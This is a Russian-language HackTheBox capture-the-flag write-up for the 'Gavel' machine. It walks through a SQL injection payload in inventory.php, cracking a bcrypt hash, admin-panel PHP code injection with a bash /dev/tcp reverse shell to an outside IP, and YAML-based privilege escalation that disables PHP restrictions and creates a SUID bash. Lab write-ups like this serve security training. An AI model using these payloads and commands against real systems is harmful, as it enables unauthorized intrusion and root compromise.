Перед началом разбора хочу отметить, что это один из моих первых writeup'ов в рамках сезонного ивента Season of the Gacha на HackTheBox. Машина Gavel оказалась весьма интересной и познавательной, но также она заставляет немного приложить усилий, терпения и логики. Не скажу, что у меня не было проблем с прохождением, но я думаю, что испытал внутреннее удовлетворение после прохождении, давайте приступим!
Разведка
Сканирование портов
Традиционно начинаем с Nmap-сканирования и обнаруживаем два открытых TCP-порта: порт 22 с SSH-сервисом OpenSSH 8.9p1 (Ubuntu) и порт 80 с веб-сервером Apache httpd 2.4.52
nmap -p- -sC -sV -oN nmap_scan.txt 10.129.4.66

SSH на данном этапе вряд ли будет полезен без учетных данных, поэтому основное внимание сосредоточим на исследовании веб-приложения как наиболее перспективной точке входа
Открытые порты:
22/tcp(SSH - OpenSSH 8.9p1 Ubuntu)80/tcp(HTTP - Apache httpd 2.4.52)
Добавление домена в hosts файл
Добавляем запись в /etc/hosts для локального разрешения доменного имени. Это критически важно, поскольку веб-сервер Apache настроен на использование виртуальных хостов и обрабатывает запросы в зависимости от значения HTTP-заголовка Host. Без правильной записи в hosts мы не сможем получить доступ к полному функционалу веб-приложения.
echo "10.129.4.176 gavel.htb" | sudo tee -a /etc/hosts
Исследование веб-сайта
Наконец мы открываем браузер и после добавления домена можем увидеть полноценный сайт:
http://gavel.htb

Перед нами аукционная веб-платформа с фэнтезийной тематикой, предлагающая различные виртуальные товары. Сайт реализует полноценный функционал регистрации пользователей и систему торгов. С точки зрения пентестинга это сразу указывает на потенциальные векторы атаки: SQL-инъекции в формах авторизации и фильтрах, манипуляции с параметрами ставок, а также уязвимости в логике обработки транзакций. Любая система, где пользователь передаёт числовые значения (суммы ставок, ID лотов), заслуживает пристального внимания.

Очевидно, что для дальнейшего исследования нам необходимо зарегистрироваться — большая часть функционала скрыта за авторизацией, и без учётной записи мы не сможем взаимодействовать с системой ставок и лотов. Создаём тестовый аккаунт и входим в систему.

Как уже упоминалось ранее, в этом приложении реализована механика аукционных лотов и их последующей покупки. Сам факт наличия формы, через которую пользователь делает ставку, сразу должен навести нас на мысль, что ключевое взаимодействие происходит именно со значениями, передаваемыми внутри этой формы. А значит, большую часть логики сервер обрабатывает на основе данных, которые клиент отправляет в запросах.
Поиск скрытых директорий
Теперь проведём разведку структуры веб-приложения. Используем ffuf для поиска скрытых файлов и директорий — часто разработчики оставляют служебные скрипты, бэкапы или конфигурационные файлы в публичном доступе, что может раскрыть дополнительные векторы атаки:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://gavel.htb/FUZZ -e .php

Что мы находим:
/admin.php— панель администратора (пока недоступна без учётных данных)/inventory.php— инвентарь товаров/.git/— открытый Git-репозиторий! (Это серьёзная находка)
Извлечение исходного кода из Git репозитория
И раз мы нашли золотую жилу, для её извлечения используем специализированный инструмент git-dumper, который рекурсивно скачивает все объекты Git и восстанавливает полную структуру проекта:
git-dumper http://gavel.htb/.git/ ./gavel-source

Теперь у нас есть полный доступ к исходному коду приложения — это значительно упрощает поиск уязвимостей. Думаю, при анализе кода стоит сосредоточиться на критичных файлах: admin.php, inventory.php, login.php, а также директории includes/. Также обращаем особое внимание на: SQL-запросы, файлы конфигурации, логику аутентификации и обработку пользовательских данных.
На этом этапе я провёл немало времени, разбираясь в структуре приложения. В ход пошло всё: различные инструменты для анализа, помощь нейросетей, а также собственные знания PHP и веб-разработки. В итоге упорство дало результат — при детальном изучении исходного кода были выявлены критические уязвимости:
SQL Injection в
inventory.php— параметрыuser_idиsortпередаются в SQL-запрос без должной санитизации, что позволяет выполнять произвольные SQL-команды через backtick injectionНебезопасная обработка правил в админ-панели — система динамических правил для аукционов использует
runkit_function_add()для динамического создания PHP-функций из пользовательского ввода, что открывает возможность Remote Code Execution (RCE)Отсутствие rate limiting на критичных эндпоинтах — позволяет брутфорс учетных данных
И наконец мы можем сформировать полную цепочку атаки: SQL Injection → извлечение credentials → доступ к админ-панели → RCE через систему правил.

SQL Injection для извлечения учетных данных
Как я упоминал выше, файл inventory.php сразу привлёк моё внимание — слишком уж подозрительно там обрабатывались пользовательские параметры. После более детального анализа подозрения подтвердились: параметры user_id и sort напрямую попадают в SQL-запрос без какой-либо фильтрации. Классическая SQL-инъекция через backtick injection. Для эксплуатации используем следующий payload:
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
Ключевые моменты обхода PDO:
\?— обратный слэш перед вопросительным знаком ломает детекцию параметров, поскольку PDO сканирует?плейсхолдеры до парсинга MySQL-синтаксиса и не распознаёт экранированный вариант%00— null byte вызывает обрезку строки на уровне C в MySQL-драйвере, эффективно «отрезая» остаток запроса
И в ответе прилетают учётные данные пользователя auctioneer, пароль, конечно, в виде bcrypt-хеша, но это уже дело техники.

Пример результата: - auctioneer:10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS...
Взлом пароля
Теперь нужно сбрутить этот хеш. Сначала сохраняем его в файл:
echo 'auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' > hash.txt
Затем натравливаем John the Ripper с классическим rockyou.txt bcrypt — это небыстрый способ для нас, но, как я уже и говорил, от нас тут требуется терпение и проявление усидчивости. Если пароль слабый, то шансы есть:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Результат:- Пароль: midnight1
Вход в панель администратора
Теперь самое интересное — мы переходим в панель администратора и используем те данные, которые у нас уже есть (логин и пароль - auctioneer:midnight1)

И что мы видим: как администратор, у нас с вами бесконечно местных монет, за которые мы можем просто скупить весь аукцион и жить счастливо. Признаюсь, я не удержался и потратил пару минут, скупая все лоты подряд и мой внутренний коллекционер был доволен! Но, как мы помним, нас интересует совсем другое — мы здесь не за виртуальными трофеями, а за полным контролем над системой.

Получение Reverse Shell
Далее в панели администратора находим раздел Rules — именно здесь скрывается наш вектор атаки. Этот раздел позволяет администратору задавать динамические правила для аукционных лотов. Как мы выяснили ранее при анализе исходного кода, эти правила обрабатываются через runkit_function_add(), что означает прямое выполнение PHP-кода на сервере. Перед вами будут 3 товара с таймерами — система периодически пересчитывает правила для активных лотов, и именно в этот момент наш вредоносный код будет исполнен.

По сути, механизм работает так: когда срабатывает таймер обновления лота, сервер берёт строку из поля rule и выполняет её как PHP-код. Классическая уязвимость Remote Code Execution (RCE) через небезопасную обработку пользовательского ввода (code injection).
И теперь начинается самое интересное, всё что было до этого, можно считать подготовкой. Нам предстоит внедрить reverse shell payload в поле правила и дождаться его исполнения. Первым делом подготавливаем listener. Открываем новый терминал и запускаем netcat в режиме прослушивания:
nc -lvnp 4444
Также вы можете заменить 4444 на любой свободный порт, который вы хотите использовать.
Для автоматизации дальнейших действий нам понадобится session cookie — без неё сервер не авторизует наши API-запросы. Дело в том, что веб-приложение использует стандартный механизм сессий PHP: при авторизации сервер генерирует уникальный идентификатор сессии и сохраняет его в cookie PHPSESSID (или gavel_session — зависит от конфигурации приложения). Этот идентификатор привязывает все наши запросы к авторизованной сессии администратора.
Извлекаем cookie через DevTools браузера:
Chrome: F12 → вкладка Application → раздел Storage → Cookies → gavel.htb
Firefox: F12 → вкладка Storage → Cookies → gavel.htb
Копируем значение cookie (обычно это длинная строка вида svrgsg63bm5ktf2vvfhq9cu9d9). Этот токен мы будем передавать в заголовке Cookie при выполнении curl-запросов, чтобы сервер воспринимал их как действия авторизованного администратора.

Теперь нам нужно получить auction_id активных лотов. Как я уже упоминал, товары в системе имеют таймеры обновления — это окно возможности для эксплуатации. Когда таймер срабатывает, сервер выполняет правило (rule) для данного лота, и именно в этот момент наш payload будет исполнен. Но чтобы сделать ставку на нужный лот и триггернуть выполнение правила, нам необходимо знать его идентификатор.
Парсим страницу торгов и извлекаем auction_id с помощью curl и grep:
curl -s http://gavel.htb/bidding.php -H 'Cookie: gavel_session=1rn49ob4qg14cs55tka1g6ujfe' | grep -E 'auction_id|data-auction-id' -A 2 -B 2

После получения auction_id переходим к ключевому этапу — внедрению reverse shell payload. Возвращаемся в админ-панель, находим раздел Rules и редактируем правило для одного из активных лотов.
В поле правила вставляем следующий PHP-код:
system('bash -c "bash -i >& /dev/tcp/172.16.219.2/4444 0>&1"'); return true;

И теперь триггерим выполнение нашего payload'а. Открываем новый терминал (netcat должен продолжать слушать в первом) и отправляем POST-запрос на обработчик ставок:
curl -X POST 'http://gavel.htb/includes/bid_handler.php' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: PHPSESSID=svrgsg63bm5ktf2vvfhq9cu9d9' \
-d 'auction_id=1&bid_amount=50000'
И в этот самый момент, когда мы ввели наш payload, сервер проверяет правила для лота, выполняется наш код, инициируется обратное подключение к netcat и в этот момент мы должны получить shell.
Так же, очень важно не забывать менять auction_id на актуальный и cookie на вашей сессии. У лотов может быть разное время или одинаковое время жизни, поэтому имейте это в виду, это важно.


Стабилизация shell и переключение на пользователя auctioneer
После получения reverse shell мы оказываемся в «сыром» окружении от имени www-data. Вот что мы видим в терминале с netcat:
> nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.4.176 35340
bash: cannot set terminal process group (1059): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$
Это так называемый «тупой» (dumb) shell — не работает автодополнение по Tab, стрелки вверх/вниз не листают историю команд, а Ctrl+C просто убьёт соединение. Первым делом стабилизируем shell через Python:
www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@gavel:/var/www/html/gavel/includes$
Модуль pty создаёт псевдотерминал, который эмулирует настоящий TTY. Теперь shell думает, что работает в полноценном терминале — появляется автодополнение и корректная работа с командами.
Переключение на пользователя auctioneer
Сейчас мы работаем от имени пользователя www-data — это сервисный аккаунт, под которым запущен веб-сервер Apache. У него минимальные привилегии и ограниченный доступ к системе. Однако у нас есть козырь в рукаве — помните пароль midnight1, который мы добыли через SQL-инъекцию и взломали с помощью John the Ripper?
Нам очень повезло и оказывается, пользователь auctioneer использует один и тот же пароль как для веб-приложения, так и для системного аккаунта, не теряем время и переключаемся:
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password: midnight1
auctioneer@gavel:/var/www/html/gavel/includes$ cd /home/auctioneer
auctioneer@gavel:~$
Если всё прошло успешно, приглашение командной строки изменится с www-data@gavel на auctioneer@gavel. Теперь у нас есть доступ к домашней директории пользователя и его файлам.
Первая цель достигнута — мы получили доступ к пользователю системы. Теперь нужно найти флаг. Используем команду find для поиска:
find / -name "root.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null
Результат поиска показывает путь: /home/auctioneer/user.txt.
Мы успешно забираем флаг!
cat /home/auctioneer/user.txt

Повышение привилегий до Root
Исследование системы
Теперь начинается этап повышения привилегий. Исследуем систему на предмет интересных файлов и утилит:
auctioneer@gavel:~$ ls -la /opt/gavel/
auctioneer@gavel:~$ ls -la /usr/local/bin/
При изучении системы обнаруживаем утилиту gavel-util в /usr/local/bin/. Эта утилита позволяет отправлять YAML-файлы с описанием товаров для аукциона. Ключевой момент: поле rule в YAML обрабатывается тем же механизмом runkit_function_add(), который мы использовали для получения reverse shell, но теперь код выполняется с повышенными привилегиями!

YAML Injection — Двухэтапная атака
Атака состоит из двух этапов: сначала мы отключаем PHP-песочницу, а затем создаём SUID-копию bash.
Этап 1: Отключение PHP-ограничений
Создаём YAML-файл, который перезаписывает конфигурацию PHP, убирая все защитные ограничения (open_basedir, disable_functions):
auctioneer@gavel:~$ echo 'name: fixini' > fix_ini.yaml
auctioneer@gavel:~$ echo 'description: fix php ini' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'price: 1' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'rule_msg: "fixini"' >> fix_ini.yaml
auctioneer@gavel:~$ echo "rule: file_put_contents('/opt/gavel/.config/php/php.ini', \"engine=On\\ndisplay_errors=On\\nopen_basedir=\\ndisable_functions=\\n\"); return false;" >> fix_ini.yaml
Отправляем файл на обработку:
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/fix_ini.yaml
Item submitted for review in next auction
Важно: Подождите несколько секунд, пока система обработает YAML и выполнит код из поля
rule.
Этап 2: Создание SUID bash
Теперь, когда PHP-ограничения сняты, создаём YAML-файл, который скопирует /bin/bash и установит на копию SUID-бит:
auctioneer@gavel:~$ echo 'name: rootshell' > rootshell.yaml
auctioneer@gavel:~$ echo 'description: make suid bash' >> rootshell.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> rootshell.yaml
auctioneer@gavel:~$ echo 'price: 1' >> rootshell.yaml
auctioneer@gavel:~$ echo 'rule_msg: "rootshell"' >> rootshell.yaml
auctioneer@gavel:~$ echo "rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;" >> rootshell.yaml
Отправляем на выполнение:
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/rootshell.yaml
Item submitted for review in next auction
Получение ROOT привилегий
После обработки второго YAML-файла проверяем, был ли создан SUID-файл:
auctioneer@gavel:~$ ls -l /opt/gavel/rootbash
-rwsr-xr-x 1 root root 1396520 Dec 5 20:26 /opt/gavel/rootbash
Отлично! Видим флаг s в правах (-rwsr-xr-x) — это означает, что SUID-бит установлен. Теперь любой пользователь, запустивший этот файл, получит привилегии владельца (root).
Запускаем rootbash с флагом -p (preserve privileges), чтобы сохранить elevated привилегии:
auctioneer@gavel:~$ /opt/gavel/rootbash -p
rootbash-5.1# whoami
root
Мы получили root-доступ! Теперь забираем финальный флаг:
rootbash-5.1# cat /root/root.txt
153f183a5ee2********************
Вот и всё! Увидимся в следующий раз :)